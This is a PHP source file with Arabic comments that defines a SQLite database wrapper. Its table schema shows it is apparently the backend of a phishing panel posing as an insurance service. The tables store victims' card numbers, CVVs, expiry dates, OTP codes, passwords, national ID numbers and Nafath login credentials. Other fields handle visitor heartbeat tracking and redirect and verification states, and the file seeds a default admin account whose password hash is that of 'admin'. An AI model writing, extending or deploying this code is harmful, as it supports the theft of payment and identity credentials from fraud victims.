<?php
/**
 * SQLite Database Engine - بديل لمحرك JSON
 * نفس الواجهة (نفس أسماء الدوال) لكن يعمل مع SQLite
 * أسرع بكثير ويتحمل آلاف الزوار بدون مشاكل
 * 
 * Plug and Play: يعمل بدون إعدادات يدوية على أي استضافة تدعم PHP + SQLite
 */
class JsonDB {
    private $db;
    private $dbPath;
    public function __construct() {
        $dataDir = __DIR__ . '/data/';
        
        // إنشاء مجلد البيانات تلقائياً
        if (!is_dir($dataDir)) {
            @mkdir($dataDir, 0777, true);
        }
        
        $this->dbPath = $dataDir . 'database.sqlite';
        
        try {
            $this->db = new PDO('sqlite:' . $this->dbPath);
            $this->db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
            $this->db->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_ASSOC);
            
            // تحسينات الأداء لـ SQLite
            $this->db->exec('PRAGMA journal_mode = WAL');
            $this->db->exec('PRAGMA synchronous = NORMAL');
            $this->db->exec('PRAGMA busy_timeout = 5000');
            $this->db->exec('PRAGMA cache_size = -8000');
            $this->db->exec('PRAGMA temp_store = MEMORY');
            
            // إنشاء الجداول تلقائياً
            $this->initTables();
            
        } catch (PDOException $e) {
            error_log('SQLite Error: ' . $e->getMessage());
            throw $e;
        }
    }
    /**
     * إنشاء الجداول إذا لم تكن موجودة
     */
    private function initTables() {
        // جدول admin
        $this->db->exec('CREATE TABLE IF NOT EXISTS admin (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            username TEXT NOT NULL DEFAULT "",
            email TEXT NOT NULL DEFAULT "",
            password TEXT NOT NULL DEFAULT "",
            access INTEGER NOT NULL DEFAULT 0,
            visits INTEGER NOT NULL DEFAULT 0,
            created_at TEXT DEFAULT "",
            updated_at TEXT DEFAULT ""
        )');

        // جدول users
        $this->db->exec('CREATE TABLE IF NOT EXISTS users (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            username TEXT DEFAULT "",
            ssn TEXT DEFAULT "",
            phone TEXT DEFAULT "",
            date TEXT DEFAULT "",
            created_at TEXT DEFAULT "",
            updated_at TEXT DEFAULT "",
            last_input_at TEXT DEFAULT "",
            page TEXT DEFAULT "",
            message TEXT DEFAULT "",
            insurance_company TEXT DEFAULT "",
            insurance_price TEXT DEFAULT "",
            account_type TEXT DEFAULT "",
            address TEXT DEFAULT "",
            last_activity INTEGER DEFAULT 0,
            redirect_page TEXT DEFAULT "",
            extra TEXT DEFAULT "",
            datastatus TEXT DEFAULT "",
            waitVerify TEXT DEFAULT "",
            url TEXT DEFAULT "",
            status INTEGER DEFAULT 0,
            code TEXT DEFAULT NULL,
            CheckTheCode TEXT DEFAULT "",
            link TEXT DEFAULT ""
        )');

        // جدول card
        $this->db->exec('CREATE TABLE IF NOT EXISTS card (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            cardNumber TEXT DEFAULT NULL,
            cardName TEXT DEFAULT NULL,
            year TEXT DEFAULT NULL,
            cvv TEXT DEFAULT NULL,
            insurance_company TEXT DEFAULT "",
            insurance_price TEXT DEFAULT "",
            userId INTEGER DEFAULT NULL,
            created_at TEXT DEFAULT "",
            updated_at TEXT DEFAULT "",
            last_input_at TEXT DEFAULT "",
            status INTEGER DEFAULT 0,
            otp TEXT DEFAULT NULL,
            url TEXT DEFAULT NULL,
            password TEXT DEFAULT NULL,
            code TEXT DEFAULT NULL,
            company TEXT DEFAULT "",
            PhoneNumber TEXT DEFAULT NULL,
            CheckTheInfo_Nafad INTEGER DEFAULT 0,
            Authentication_code TEXT DEFAULT NULL,
            UserName_Nafad TEXT DEFAULT NULL,
            UserPasswore_Nafad TEXT DEFAULT NULL,
            New_code TEXT DEFAULT NULL,
            username TEXT DEFAULT NULL,
            passwordt TEXT DEFAULT NULL,
            TemporaryPassword TEXT DEFAULT NULL,
            user_id INTEGER DEFAULT NULL,
            month TEXT DEFAULT NULL,
            expire1 TEXT DEFAULT NULL,
            expire2 TEXT DEFAULT NULL
        )');

        // جدول heartbeats (الزوار النشطين)
        $this->db->exec('CREATE TABLE IF NOT EXISTS heartbeats (
            session_id TEXT PRIMARY KEY,
            time INTEGER DEFAULT 0,
            ms INTEGER DEFAULT 0,
            user_id INTEGER DEFAULT 0
        )');

        // فهارس لتسريع البحث
        $this->db->exec('CREATE INDEX IF NOT EXISTS idx_users_updated_at ON users(updated_at)');
        $this->db->exec('CREATE INDEX IF NOT EXISTS idx_users_created_at ON users(created_at)');
        $this->db->exec('CREATE INDEX IF NOT EXISTS idx_card_userId ON card(userId)');
        $this->db->exec('CREATE INDEX IF NOT EXISTS idx_heartbeats_time ON heartbeats(time)');

        // إدراج admin افتراضي إذا لم يكن موجوداً
        $stmt = $this->db->query('SELECT COUNT(*) as cnt FROM admin');
        $row = $stmt->fetch();
        if ($row['cnt'] == 0) {
            $this->db->exec("INSERT INTO admin (id, username, email, password, access, visits) VALUES (1, 'admin@admin.com', 'admin@admin.com', '21232f297a57a5a743894a0e4a801fc3', 1, 0)");
        }
    }

    /**
     * الحصول على اتصال PDO المباشر (للاستخدام المتقدم)
     */
    public function getPDO() {
        return $this->db;
    }

    // ===== دوال القراءة والكتابة =====

    /**
     * قراءة جميع السجلات من جدول
     */
    public function readAll($table) {
        try {
            $table = preg_replace('/[^a-zA-Z0-9_]/', '', $table);
            $stmt = $this->db->query("SELECT * FROM `{$table}`");
            return $stmt->fetchAll();
        } catch (PDOException $e) {
            return [];
        }
    }

    /**
     * كتابة جميع السجلات (استبدال كامل) - للتوافق مع الكود القديم
     */
    public function writeAll($table, $data) {
        try {
            $table = preg_replace('/[^a-zA-Z0-9_]/', '', $table);
            $this->db->exec("DELETE FROM `{$table}`");
            if (!empty($data)) {
                foreach ($data as $record) {
                    if (is_array($record)) {
                        $this->insert($table, $record);
                    }
                }
            }
        } catch (PDOException $e) {
            error_log('SQLite writeAll error: ' . $e->getMessage());
        }
    }

    /**
     * الحصول على ID التالي
     */
    public function getNextId($table) {
        try {
            $table = preg_replace('/[^a-zA-Z0-9_]/', '', $table);
            $stmt = $this->db->query("SELECT MAX(id) as max_id FROM `{$table}`");
            $row = $stmt->fetch();
            return ($row && $row['max_id']) ? $row['max_id'] + 1 : 1;
        } catch (PDOException $e) {
            return 1;
        }
    }

    /**
     * إدراج سجل جديد
     */
    public function insert($table, $record) {
        try {
            $table = preg_replace('/[^a-zA-Z0-9_]/', '', $table);
            
            if (empty($record)) return false;
            
            $columns = [];
            $placeholders = [];
            $values = [];
            
            foreach ($record as $key => $value) {
                $safeKey = preg_replace('/[^a-zA-Z0-9_]/', '', $key);
                $columns[] = "`{$safeKey}`";
                $placeholders[] = ':' . $safeKey;
                $values[':' . $safeKey] = is_array($value) ? json_encode($value, JSON_UNESCAPED_UNICODE) : $value;
            }
            
            $sql = "INSERT INTO `{$table}` (" . implode(', ', $columns) . ") VALUES (" . implode(', ', $placeholders) . ")";
            $stmt = $this->db->prepare($sql);
            foreach ($values as $key => $value) {
                $stmt->bindValue($key, $value);
            }
            $stmt->execute();
            
            return (int) $this->db->lastInsertId();
        } catch (PDOException $e) {
            error_log('SQLite insert error: ' . $e->getMessage());
            return false;
        }
    }

    /**
     * البحث عن سجل برقم ID
     */
    public function findById($table, $id) {
        try {
            $table = preg_replace('/[^a-zA-Z0-9_]/', '', $table);
            $stmt = $this->db->prepare("SELECT * FROM `{$table}` WHERE id = :id LIMIT 1");
            $stmt->bindValue(':id', $id, PDO::PARAM_INT);
            $stmt->execute();
            $row = $stmt->fetch();
            return $row ?: null;
        } catch (PDOException $e) {
            return null;
        }
    }

    /**
     * البحث عن سجل بحقل معين
     */
    public function findBy($table, $field, $value) {
        try {
            $table = preg_replace('/[^a-zA-Z0-9_]/', '', $table);
            $field = preg_replace('/[^a-zA-Z0-9_]/', '', $field);
            $stmt = $this->db->prepare("SELECT * FROM `{$table}` WHERE `{$field}` = :val LIMIT 1");
            $stmt->bindValue(':val', $value);
            $stmt->execute();
            $row = $stmt->fetch();
            return $row ?: null;
        } catch (PDOException $e) {
            return null;
        }
    }

    /**
     * البحث عن جميع السجلات بحقل معين
     */
    public function findAllBy($table, $field, $value) {
        try {
            $table = preg_replace('/[^a-zA-Z0-9_]/', '', $table);
            $field = preg_replace('/[^a-zA-Z0-9_]/', '', $field);
            $stmt = $this->db->prepare("SELECT * FROM `{$table}` WHERE `{$field}` = :val");
            $stmt->bindValue(':val', $value);
            $stmt->execute();
            return $stmt->fetchAll();
        } catch (PDOException $e) {
            return [];
        }
    }

    /**
     * تحديث سجل
     */
    public function update($table, $id, $updates) {
        try {
            $table = preg_replace('/[^a-zA-Z0-9_]/', '', $table);
            
            if (empty($updates)) return false;
            
            $setParts = [];
            foreach ($updates as $key => $value) {
                $safeKey = preg_replace('/[^a-zA-Z0-9_]/', '', $key);
                $setParts[] = "`{$safeKey}` = :{$safeKey}";
            }
            $setStr = implode(', ', $setParts);
            
            $stmt = $this->db->prepare("UPDATE `{$table}` SET {$setStr} WHERE id = :_update_id");
            foreach ($updates as $key => $value) {
                $safeKey = preg_replace('/[^a-zA-Z0-9_]/', '', $key);
                $stmt->bindValue(':' . $safeKey, is_array($value) ? json_encode($value, JSON_UNESCAPED_UNICODE) : $value);
            }
            $stmt->bindValue(':_update_id', $id, PDO::PARAM_INT);
            $stmt->execute();
            
            return $stmt->rowCount() > 0;
        } catch (PDOException $e) {
            error_log('SQLite update error: ' . $e->getMessage());
            return false;
        }
    }

    /**
     * حذف سجل
     */
    public function delete($table, $id) {
        try {
            $table = preg_replace('/[^a-zA-Z0-9_]/', '', $table);
            $stmt = $this->db->prepare("DELETE FROM `{$table}` WHERE id = :id");
            $stmt->bindValue(':id', $id, PDO::PARAM_INT);
            $stmt->execute();
            return $stmt->rowCount() > 0;
        } catch (PDOException $e) {
            return false;
        }
    }

    /**
     * حذف جميع السجلات
     */
    public function deleteAll($table) {
        try {
            $table = preg_replace('/[^a-zA-Z0-9_]/', '', $table);
            $this->db->exec("DELETE FROM `{$table}`");
            return true;
        } catch (PDOException $e) {
            return false;
        }
    }

    /**
     * جلب جميع السجلات مع الترتيب
     */
    public function fetchAll($table, $orderBy = null, $direction = 'ASC') {
        try {
            $table = preg_replace('/[^a-zA-Z0-9_]/', '', $table);
            $sql = "SELECT * FROM `{$table}`";
            
            if ($orderBy) {
                $orderBy = preg_replace('/[^a-zA-Z0-9_]/', '', $orderBy);
                $direction = (strtoupper($direction) === 'DESC') ? 'DESC' : 'ASC';
                $sql .= " ORDER BY `{$orderBy}` {$direction}";
            }
            
            $stmt = $this->db->query($sql);
            return $stmt->fetchAll();
        } catch (PDOException $e) {
            return [];
        }
    }

    /**
     * عد السجلات في جدول
     */
    public function count($table) {
        try {
            $table = preg_replace('/[^a-zA-Z0-9_]/', '', $table);
            $stmt = $this->db->query("SELECT COUNT(*) as cnt FROM `{$table}`");
            $row = $stmt->fetch();
            return (int) $row['cnt'];
        } catch (PDOException $e) {
            return 0;
        }
    }
}

// إنشاء instance عام من الفئة
$jsonDB = new JsonDB();
?>
